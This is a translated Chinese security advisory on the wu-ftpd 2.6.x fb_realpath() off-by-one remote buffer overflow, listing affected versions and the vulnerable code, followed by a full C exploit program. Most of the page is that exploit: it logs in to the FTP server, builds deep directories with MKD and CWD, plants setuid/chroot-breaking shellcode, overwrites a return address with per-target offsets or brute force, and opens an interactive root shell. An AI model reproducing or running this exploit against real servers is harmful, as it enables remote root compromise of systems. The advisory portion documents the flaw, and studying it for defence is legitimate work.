Wu-ftpd fb_realpath()远程单字节缓冲区溢出漏洞[翻译]

/ns/ld/unix/data/20030810044510.htm

Wu-ftpd fb_realpath()远程单字节缓冲区溢出漏洞

受影响系统：
Washington University wu-ftpd 2.6.2
Washington University wu-ftpd 2.6.1
Washington University wu-ftpd 2.6.0
Washington University wu-ftpd 2.5.0
描述：
--------------------------------------------------------------------------------
Wu-ftpd是一款流行的开放源码的全功能的FTP服务器程序。

Wu-ftpd FTP服务程序实现上存在远程单字节溢出问题，本地或远程攻击者可能利用这个漏洞以root用户权限在系统上执行任意指令。

问题存在于fb_realpath()函数，当构建路径的长度等于MAXPATHLEN+1长度时就会触发溢出。漏洞是由于在连接字符串长度计算中错误的使用rootd变量造成的：

------8<------cut-here------8<------
/*
* Join the two strings together, ensuring that the right thing
* happens if the last component is empty, or the dirname is root.
*/
if (resolved[0] == '/' && resolved[1] == '\0')
rootd = 1;
else
rootd = 0;


if (*wbuf) {
if (strlen(resolved) + strlen(wbuf) + rootd + 1 > MAXPATHLEN) {
errno = ENAMETOOLONG;
goto err1;
}
if (rootd == 0)
(void) strcat(resolved, "/");
(void) strcat(resolved, wbuf);
}
------8<------cut-here------8<------

由于路径是由当前工作目录和各个FTP命令参数指定的文件名构建，因此攻击者需要创建深层目录结构。

下面的FTP命令可以用来造成缓冲区溢出：

STOR
RETR
APPE
DELE
MKD
RMD
STOU
RNTO

如果缓冲区大小超过MAXPATHLEN字符，就不能利用这个漏洞，因此如果wu-ftpd在部分Linux内核下（如PATH_MAX超过4095字节）编译，就不存在这个漏洞。

Linux 2.2.x和部分早期的2.4.x内核定义的PATH_MAX为4095字符，因此只有编译在2.0.x或者后期的2.4.x内核上的wu-ftpd存在此漏洞。


测试代码

Exploit:
/*
**
** wu-ftpd v2.6.2 off-by-one remote 0day exploit.
** Public version - 2003/08/02
**
** --
** This vulnerability was discovered by Wojciech Purczynski <cliph@isec.pl>,
** Janusz Niewiadomski <funkysh@isec.pl>.
** They offered excellent Advisory, I'm thankful to them.
**
** URL: http://isec.pl/vulnerabilities/isec-0011-wu-ftpd.txt
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.inetcop.org
*/
/*
** -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** More useful version isn't going to share. (various test version)
** For reference, exploit method that use `STOR' command succeeded. :-)
**
** Update: August 2, I added wu-ftpd-2.6.2, 2.6.0, 2.6.1 finally.
** August 3, Brute-Force function addition.
** --
** Thank you.
**
*/

#define VERSION "v0.0.3"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define DEBUG_NG
#undef DEBUG_NG
#define NRL 0
#define SCS 1
#define FAD (-1)
#define MAX_BF (16)
#define BF_LSZ (0x100) /* 256 */
#define DEF_VA 255
#define DEF_PORT 21
#define DEF_ANSH 11
#define GET_HOST_NM_ERR (NULL)
#define SIN_ZR_SIZE 8
#define DEF_ALIGN 4
#define GET_R 5000
#define DEF_NOP 64
#define DEF_STR "x0x"
#define HOME_DIR "/home/"
#define DEF_HOST "localhost"
#define DEF_COMM "echo \"x82 is happy, x82 is happy, x82 is happy\";" \
"uname -a;id;export TERM=vt100;exec bash -i\n"
/* ftpd handshake */
#define FTP_CONN_SCS "220"
#define FTP_USER_FAD "331"
#define FTP_LOGIN_FAD "530 Login incorrect."
#define FTP_LOGIN_SCS "230"
#define CWD_COMM_SCS "250" /* also, RMD command */
#define MKD_COMM_SCS "257"
#define MKD_EXIST "521"

void ftpd_login(int sock,char *user,char *pass);
void conn_shell(int conn_sock);
int setsock(char *u_host,int u_port);
void re_connt(int st_sock_va);
void prcode_usage(char *f_nm);
int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character);
int send_shellcode(int sock,int type,char *dir_nm);
void make_send_exploit(int sock,int type,u_long sh_addr,int d_type);
int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr);
u_long null_chk(u_long sh_addr);
void banrl();

struct os
{
int num;
char *v_nm;
u_long sh_addr;
};
int t_g=(NRL);
char home_dir[(DEF_VA)]; /* user home directory offset */
/*
** `0xff' uses two times to be realized in our shellcode.
*/
char shellcode_ffx2[]=
/* setuid/chroot-break/execve shellcode by Lam3rZ */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x43\x89"
"\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31\xc9\x8d\x5e\x01"
"\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01"
"\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9"
"\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31"
"\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe"
"\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0"
"\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
"\x2e\x2e\x31\x31";

struct os plat[]=
{
/*
** I enjoy version up, will not share more. :-}
*/
{
0,"RedHat Linux 6.x Version wu-2.6.0(1) compile",0x0806a59c
},
{
1,"RedHat Linux 6.x Version wu-2.6.1(1) compile",0x0806aad8
},
{
2,"RedHat Linux 6.x Version wu-2.6.2(2) compile",0x0806aa60
},
{
0x82,NULL,0x0
},
{
0x8282,"Brute-Force mode",0x0806a082
}
};

void prcode_usage(char *f_nm)
{
int r_n=(NRL);
fprintf(stdout," Usage: %s -options arguments\n\n",f_nm);
fprintf(stdout," \t-h [hostname] : Target hostname & ip.\n");
fprintf(stdout," \t-u [userid] : User id.\n");
fprintf(stdout," \t-p [passwd] : User password.\n");
fprintf(stdout," \t-n [port num] : Target port number.\n");
fprintf(stdout," \t-s [shelladdr] : Shellcode address.\n");
fprintf(stdout," \t-b : Brute-Force mode.\n");
fprintf(stdout," \t-m [max num] : Brute-Force Count number.\n");
fprintf(stdout," \t-i : help information.\n");
fprintf(stdout," \t-t [target num] : Select target number.\n\n");
for(r_n=(NRL);plat[r_n].v_nm!=(NULL);r_n++)
{
fprintf(stdout," \t\t{%d} %s.\n",(plat[r_n].num),(plat[r_n].v_nm));
}
fprintf(stdout,"\n Example: %s -hlocalhost -ux82 -px82 -n21 -t0\n\n",f_nm);
exit(FAD);
}

u_long null_chk(u_long sh_addr)
{
if((sh_addr>>(NRL)&0xff)==(0x00))
{
return(sh_addr+=(SCS));
}
else return(sh_addr);
}

void ftpd_login(int sock,char *user,char *pass)
{
char send_recv[(GET_R)];

(u_int)sleep(SCS);
memset((char *)send_recv,(NRL),sizeof(send_recv));
recv(sock,send_recv,sizeof(send_recv)-1,(NRL));

if(!strstr(send_recv,(FTP_CONN_SCS)))
{
fprintf(stdout," [-] ftpd connection failure.\n\n");
close(sock);
exit(FAD);
}
else fprintf(stdout," [*] ftpd connection success.\n");
fprintf(stdout," [+] User id input.\n");

memset((char *)send_recv,(NRL),sizeof(send_recv));
snprintf(send_recv,sizeof(send_recv)-1,"USER %s\r\n",user);
send(sock,send_recv,strlen(send_recv),(NRL));

(u_int)sleep(SCS);
memset((char *)send_recv,(NRL),sizeof(send_recv));
recv(sock,send_recv,sizeof(send_recv)-1,(NRL));

if(!strstr(send_recv,(FTP_USER_FAD)))
{
fprintf(stdout," [-] User id input failure.\n\n");
close(sock);
exit(FAD);
}
else fprintf(stdout," [+] User password input.\n");

memset((char *)send_recv,(NRL),sizeof(send_recv));
snprintf(send_recv,sizeof(send_recv)-1,"PASS %s\r\n",pass);
send(sock,send_recv,strlen(send_recv),(NRL));

(u_int)sleep(SCS);
memset((char *)send_recv,(NRL),sizeof(send_recv));
recv(sock,send_recv,sizeof(send_recv)-1,(NRL));

if(strstr(send_recv,(FTP_LOGIN_FAD)))
{
fprintf(stdout," [-] FAILED LOGIN on %s.\n\n",user);
close(sock);
exit(FAD);
}
else if(strstr(send_recv,(FTP_LOGIN_SCS)))
{
fprintf(stdout," [*] User %s logged in.\n",user);
}
else
{
fprintf(stdout," [-] ftpd handshake failure.\n\n");
close(sock);
exit(FAD);
}
return;
}

int mkd_cwd_f(int sock,int type,char *dir_nm,int gb_character)
{
int dr_n=(NRL),cmd_f=(NRL);
char get_nm[(GET_R)];

memset((char *)dir_nm,(NRL),(GET_R));
/* MKD command */
dir_nm[cmd_f++]=(0x4d);
dir_nm[cmd_f++]=(0x4b);
dir_nm[cmd_f++]=(0x44);
dir_nm[cmd_f++]=(0x20);

for(dr_n=(cmd_f);dr_n<(DEF_VA)+(cmd_f);dr_n++)
{
dir_nm[dr_n]=(gb_character);
}
dir_nm[dr_n++]=(0x0d);
dir_nm[dr_n++]=(0x0a);

if(type)
{
send(sock,dir_nm,strlen(dir_nm),(NRL));
(u_int)sleep(SCS);
memset((char *)get_nm,(NRL),sizeof(get_nm));
recv(sock,get_nm,sizeof(get_nm)-1,(NRL));

if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
{
fprintf(stdout," [-] MKD command failed.\n\n");
exit(FAD);
}
}
/* CMD command */
cmd_f=(NRL);
dir_nm[cmd_f++]=(0x43);
dir_nm[cmd_f++]=(0x57);
dir_nm[cmd_f++]=(0x44);

send(sock,dir_nm,strlen(dir_nm),(NRL));
(u_int)sleep(SCS);
memset((char *)get_nm,(NRL),sizeof(get_nm));
recv(sock,get_nm,sizeof(get_nm)-1,(NRL));

if(!strstr(get_nm,(CWD_COMM_SCS)))
{
fprintf(stdout," [-] CWD command failed.\n\n");
exit(FAD);
}
return;
}

int send_shellcode(int sock,int type,char *dir_nm)
{
int dr_n=(NRL),cmd_f=(NRL);
char get_nm[(GET_R)];

memset((char *)dir_nm,(NRL),(GET_R));
/* MKD command */
dir_nm[cmd_f++]=(0x4d);
dir_nm[cmd_f++]=(0x4b);
dir_nm[cmd_f++]=(0x44);
dir_nm[cmd_f++]=(0x20);

for(dr_n=(cmd_f);dr_n<(DEF_VA)+sizeof(0xffffffff)+(cmd_f)-strlen(shellcode_ffx2);dr_n++)
{
dir_nm[dr_n]=(DEF_NOP);
}
for(cmd_f=(NRL);cmd_f<strlen(shellcode_ffx2);cmd_f++)
{
dir_nm[dr_n++]=shellcode_ffx2[cmd_f];
}
dir_nm[dr_n++]=(0x0d);
dir_nm[dr_n++]=(0x0a);

if(type)
{
send(sock,dir_nm,strlen(dir_nm),(NRL));
(u_int)sleep(SCS);
memset((char *)get_nm,(NRL),sizeof(get_nm));
recv(sock,get_nm,sizeof(get_nm)-1,(NRL));

if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
{
fprintf(stdout," [-] MKD shellcode_dir failed.\n\n");
exit(FAD);
}
}
/* CMD command */
cmd_f=(NRL);
dir_nm[cmd_f++]=(0x43);
dir_nm[cmd_f++]=(0x57);
dir_nm[cmd_f++]=(0x44);

send(sock,dir_nm,strlen(dir_nm),(NRL));
(u_int)sleep(SCS);
memset((char *)get_nm,(NRL),sizeof(get_nm));
recv(sock,get_nm,(GET_R)-1,(NRL));

if(!strstr(get_nm,(CWD_COMM_SCS)))
{
fprintf(stdout," [-] CWD shellcode_dir failed.\n\n");
exit(FAD);
}
return;
}

void make_send_exploit(int sock,int type,u_long sh_addr,int d_type)
{
char atk_bf[(GET_R)];
{
fprintf(stdout," [+] 01: make 0x41414141 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x41)); /* 01 */
fprintf(stdout," [+] 02: make shell-code directory.\n");
(int)send_shellcode(sock,d_type,(atk_bf)); /* 02 */
fprintf(stdout," [+] 03: make 0x43434343 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x43)); /* 03 */
fprintf(stdout," [+] 04: make 0x44444444 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x44)); /* 04 */
fprintf(stdout," [+] 05: make 0x45454545 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x45)); /* 05 */
fprintf(stdout," [+] 06: make 0x46464646 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x46)); /* 06 */
fprintf(stdout," [+] 07: make 0x47474747 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x47)); /* 07 */
fprintf(stdout," [+] 08: make 0x48484848 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x48)); /* 08 */
fprintf(stdout," [+] 09: make 0x49494949 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x49)); /* 09 */
fprintf(stdout," [+] 10: make 0x50505050 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x50)); /* 10 */
fprintf(stdout," [+] 11: make 0x51515151 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x51)); /* 11 */
fprintf(stdout," [+] 12: make 0x52525252 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x52)); /* 12 */
fprintf(stdout," [+] 13: make 0x53535353 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x53)); /* 13 */
fprintf(stdout," [+] 14: make 0x54545454 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x54)); /* 14 */
fprintf(stdout," [+] 15: make 0x55555555 directory.\n");
(int)mkd_cwd_f(sock,d_type,(atk_bf),(0x55)); /* 15 */
(int)make_retloc(sock,type,(atk_bf),sh_addr); /* 16 */
}
return;
}

int make_retloc(int sock,int type,char *atk_bf,u_long sh_addr)
{
int r_rn_1=(NRL),r_rn_2=(NRL),cmd_f=(NRL);
char get_nm[(GET_R)];

memset((char *)atk_bf,(NRL),(GET_R));
if(type) /* MKD command */
{
atk_bf[cmd_f++]=(0x4d);
atk_bf[cmd_f++]=(0x4b);
atk_bf[cmd_f++]=(0x44);
atk_bf[cmd_f++]=(0x20);
}
else /* RMD command */
{
atk_bf[cmd_f++]=(0x52);
atk_bf[cmd_f++]=(0x4d);
atk_bf[cmd_f++]=(0x44);
atk_bf[cmd_f++]=(0x20);
}
for(r_rn_1=(cmd_f),r_rn_2=(NRL);r_rn_2<(DEF_VA)-strlen(home_dir)-(DEF_ANSH);r_rn_2++)
atk_bf[r_rn_1++]=(0x41);
{
*(long *)&atk_bf[r_rn_1]=(sh_addr);
r_rn_1+=(DEF_ALIGN);
*(long *)&atk_bf[r_rn_1]=(sh_addr);
r_rn_1+=(DEF_ALIGN);
atk_bf[r_rn_1++]=(0x41);
atk_bf[r_rn_1++]=(0x41);
atk_bf[r_rn_1++]=(0x41);
atk_bf[r_rn_1++]=(0x0d);
atk_bf[r_rn_1++]=(0x0a);
}
send(sock,atk_bf,strlen(atk_bf),(NRL));
(u_int)sleep(SCS);
memset((char *)get_nm,(NRL),sizeof(get_nm));
recv(sock,get_nm,sizeof(get_nm)-1,(NRL));

if(type) /* MKD command */
{
if(!strstr(get_nm,(MKD_COMM_SCS))&&!strstr(get_nm,(MKD_EXIST)))
{
fprintf(stdout," [-] MKD &shellcode_dir failed.\n\n");
exit(FAD);
}
else fprintf(stdout," [+] Ok, MKD &shellcode_dir.\n");
}
else /* RMD command */
{
if(!strstr(get_nm,(CWD_COMM_SCS)))
{
fprintf(stdout," [-] RMD &shellcode_dir failed.\n\n");
exit(FAD);
}
else fprintf(stdout," [+] Ok, RMD &shellcode_dir.\n");
}
return;
}

int main(int argc,char *argv[])
{
int opt_g,sock,__bf=(NRL);
int mx_bf=(MAX_BF),bf_lsz=(BF_LSZ);
char user_id[(DEF_VA)]=(DEF_STR);
char pass_wd[(DEF_VA)]=(DEF_STR);
char tg_host[(DEF_VA)]=(DEF_HOST);
int tg_port=(DEF_PORT);
u_long sh_addr=(plat[t_g].sh_addr);

(void)banrl();
while((opt_g=getopt(argc,argv,"M:m:H:h:U:u:P:p:N:n:S:s:T:t:BbIi"))!=EOF)
{
extern char *optarg;
switch(opt_g)
{
case 'M':
case 'm':
mx_bf=(atoi(optarg));
bf_lsz=((0x1000)/mx_bf);
break;

case 'H':
case 'h':
memset((char *)tg_host,(NRL),sizeof(tg_host));
strncpy(tg_host,optarg,sizeof(tg_host)-1);
break;

case 'U':
case 'u':
memset((char *)user_id,(NRL),sizeof(user_id));
strncpy(user_id,optarg,sizeof(user_id)-1);
break;

case 'P':
case 'p':
memset((char *)pass_wd,(NRL),sizeof(pass_wd));
strncpy(pass_wd,optarg,sizeof(pass_wd)-1);
break;

case 'N':
case 'n':
tg_port=(atoi(optarg));
break;

case 'S':
case 's':
sh_addr=strtoul(optarg,(NRL),(NRL));
break;

case 'T':
case 't':
if((t_g=(atoi(optarg)))<(3))
sh_addr=(plat[t_g].sh_addr);
else (void)prcode_usage(argv[(NRL)]);
break;

case 'B':
case 'b':
__bf=(SCS);
break;

case 'I':
case 'i':
(void)prcode_usage(argv[(NRL)]);
break;

case '?':
(void)prcode_usage(argv[(NRL)]);
break;
}
}
if(!strcmp(user_id,(DEF_STR))||!strcmp(pass_wd,(DEF_STR)))
(void)prcode_usage(argv[(NRL)]);

memset((char *)home_dir,(NRL),sizeof(home_dir));
snprintf(home_dir,sizeof(home_dir)-1,"%s%s",(HOME_DIR),user_id);

if(!__bf)
{
fprintf(stdout," [*] Target: %s.\n",(plat[t_g].v_nm));
fprintf(stdout," [+] address: %p.\n",sh_addr);
fprintf(stdout," [*] #1 Try, %s:%d ...",tg_host,tg_port);
fflush(stdout);

sock=(int)setsock(tg_host,tg_port);
(void)re_connt(sock);
fprintf(stdout," [ OK ]\n");

fprintf(stdout," [1] ftpd connection login.\n");
(void)ftpd_login(sock,user_id,pass_wd);

fprintf(stdout," [2] send exploit code.\n");
(void)make_send_exploit(sock,(SCS),sh_addr,(SCS));
close(sock);

fprintf(stdout," [+] #2 Try, %s:%d ...",tg_host,tg_port);
fflush(stdout);

sock=(int)setsock(tg_host,tg_port);
(void)re_connt(sock);
fprintf(stdout," [ OK ]\n");

fprintf(stdout," [3] ftpd connection login.\n");
(void)ftpd_login(sock,user_id,pass_wd);

fprintf(stdout," [4] send exploit code.\n");
(void)make_send_exploit(sock,(NRL),sh_addr,(NRL));

fprintf(stdout," [5] Waiting, execute the shell ");
fflush(stdout);
(u_int)sleep(SCS);

fprintf(stdout,".");
fflush(stdout);
(u_int)sleep(SCS);

fprintf(stdout,".");
fflush(stdout);
(u_int)sleep(SCS);

fprintf(stdout,".\n");
(void)conn_shell(sock);
close(sock);
}
else
{
int bt_num=(NRL);
t_g=(4);
sh_addr=(plat[t_g].sh_addr);
fprintf(stdout," [*] Brute-Force mode.\n");
fprintf(stdout," [+] BF Count: %d.\n",mx_bf);
fprintf(stdout," [+] BF Size: +%d.\n\n",bf_lsz);

for(bt_num=(NRL);bt_num<(mx_bf);bt_num++)
{
sh_addr=(u_long)null_chk(sh_addr);
fprintf(stdout," [+] Brute-Force address: %p.\n",sh_addr);
fprintf(stdout," [*] #1 Try, %s:%d ...",tg_host,tg_port);
fflush(stdout);

sock=(int)setsock(tg_host,tg_port);
(void)re_connt(sock);
fprintf(stdout," [ OK ]\n");

fprintf(stdout," [1] ftpd connection login.\n");
(void)ftpd_login(sock,user_id,pass_wd);

fprintf(stdout," [2] send exploit code.\n");
if(bt_num==(NRL))
{
(void)make_send_exploit(sock,(SCS),sh_addr,(SCS));
}
else
{
(void)make_send_exploit(sock,(SCS),sh_addr,(NRL));
}
close(sock);

fprintf(stdout," [+] #2 Try, %s:%d ...",tg_host,tg_port);
fflush(stdout);

sock=(int)setsock(tg_host,tg_port);
(void)re_connt(sock);
fprintf(stdout," [ OK ]\n");

fprintf(stdout," [3] ftpd connection login.\n");
(void)ftpd_login(sock,user_id,pass_wd);

fprintf(stdout," [4] send exploit code.\n");
(void)make_send_exploit(sock,(NRL),sh_addr,(NRL));

fprintf(stdout," [5] Waiting, execute the shell ");
fflush(stdout);
(u_int)sleep(SCS);

fprintf(stdout,".");
fflush(stdout);
(u_int)sleep(SCS);

fprintf(stdout,".");
fflush(stdout);
(u_int)sleep(SCS);

fprintf(stdout,".\n");
(void)conn_shell(sock);
close(sock);

sh_addr+=(bf_lsz);
}
}
exit(NRL);
}

int setsock(char *u_host,int u_port)
{
int sock;
struct hostent *sxp;
struct sockaddr_in sxp_addr;

if((sxp=gethostbyname(u_host))==(GET_HOST_NM_ERR))
{
return(FAD);
}
if((sock=socket(AF_INET,SOCK_STREAM,(NRL)))==(FAD))
{
return(FAD);
}
sxp_addr.sin_family=AF_INET;
sxp_addr.sin_port=htons(u_port);
sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr);
bzero(&(sxp_addr.sin_zero),(SIN_ZR_SIZE));

if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct sockaddr))==(FAD))
{
return(FAD);
}
return(sock);
}

void conn_shell(int conn_sock)
{
int died;
int ex_t=(NRL);
char *command=(DEF_COMM);
char readbuf[(GET_R)];
fd_set rset;

memset((char *)readbuf,(NRL),sizeof(readbuf));
fprintf(stdout," [*] Send, command packet !\n\n");
send(conn_sock,command,strlen(command),(NRL));

for(;;)
{
fflush(stdout);
FD_ZERO(&rset);
FD_SET(conn_sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(conn_sock+1,&rset,NULL,NULL,NULL);

if(FD_ISSET(conn_sock,&rset))
{
died=read(conn_sock,readbuf,sizeof(readbuf)-1);
if(died<=(NRL))
{
if(!ex_t)
return;
else
exit(NRL);
}
readbuf[died]=(NRL);
fprintf(stdout,"%s",readbuf);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);
if(died>(NRL))
{
readbuf[died]=(NRL);
if(strstr(readbuf,"exit"))
ex_t=(SCS);
write(conn_sock,readbuf,died);
}
}
}
return;
}

void re_connt(int st_sock_va)
{
if(st_sock_va==(FAD))
{
fprintf(stdout," [ Fail ]\n\n");
exit(FAD);
}
}

void banrl()
{
fprintf(stdout,"\n 0x82-WOOoou~Happy_new - wu-ftpd v2.6.2 off-by-one remote exploit.\n\n");
}
===============================================
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文章类型:原创 提交:TomyChen 核查:NetDemon